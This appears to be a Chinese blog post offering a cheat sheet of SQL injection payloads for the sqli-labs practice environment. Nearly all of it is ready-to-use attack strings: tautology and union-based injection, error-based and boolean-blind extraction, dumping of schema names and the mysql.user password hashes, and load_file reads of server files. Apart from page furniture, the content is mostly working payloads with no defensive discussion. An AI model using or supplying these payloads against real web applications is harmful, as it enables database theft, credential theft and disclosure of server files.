sql注入插入姿势

1.   ' or 1=1 --+

2. 联合查询注入
 select * from user where username=' | ' union select 1,2,'3dd3eds4c4df44wes' 
                                                                     union select 1,2,user()     第三列返回用户名
                                                                     union select 1,2,group_concat(distinct+TABLE)  from  information_schema.TABLES where table__schema='security'   包括去重
                                                                     union select 1,2,concat(id,0x2d,session,0x2d,name) from information_schema.tables where table_schema=0xwe22e3213se2ewd  使用十六进制,替换' ,如果开启魔术引号

3. 报错注入    ( 1. 没有开启显示位 2.存在print(mysql_error) ,才可以报错成功)
http://127.0.0.1/sqli-labs/Less-6/?id=1" and union select 1 from (select count(*),concat(floor(rand(0)*2),0x3a3a3a,(注入暴数据语句),0x3a3a3a)a from information_schema.tables group by a)b --+
     例子:
     1). 获取版本号   select concat(0x3a,database(),0x3a,user(),0x3a,version(),0x3a,@@datadir)
     2).获取有多少个数据库    select count(distinct table_schema) from information_schema.COLUMNS
     3).爆数据库名   select distinct table_schema from information_schema.COLUMNS limit 7,1
     4).爆某库下有几张表       select count(distinct table_name) from information_schema.COLUMNS where     table_schema=['hehe'  | 0x68656865]
     5).爆某库某表有字段数    select count(distinct column_name) from information_schema.COLUMNS             where table_schema=0x68656865 and table_name="messagebord"
     6).爆某库某表字段内容    select concat(Host,User,Password) from mysql.user limit 0,1

4.  布尔注入   (1. 没有显示位 2.不用存在print(mysql_error) ,根据页面变化来判断信息 )
http://127.0.0.1/sqli-labs/Less-8/?id=1' and (select ascii(length((select version()))) > 54) --+
    例子:
    1) 首先猜字符串长度  http://127.0.0.1/sqli-labs/Less-8/?id=' or (select ascii(length((插入的查询语句))) > 54)     --+
     2) 然后逐个字符        http://127.0.0.1/sqli-labs/Less-8/?id=' or (select ascii(substr((插入的查询语句),1,1)) >     112) --+
     3) 查询有多少个库     http://127.0.0.1/sqli-labs/Less-8/?id=' or ((select count(distinct table_schema)         from information_schema.COLUMNS) > 7) --+                                         

5. load_file 任意读取文件 (注意 尽量在路径 之中使用 / )
        http://172.21.50.66/Less-1/?id=' union select  1,2,(select load_file('/var/www')) --+
        http://127.0.0.1/sqli-labs/Less-1/?id=' union select  1,2,(select load_file('C:\\Intel\\123.txt')) 
                                     PS  : 1)  注意两个路径的差别
                                             2) /etc/httpd/conf/httpd.conf   是Apache 的配置文件
  • 1
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值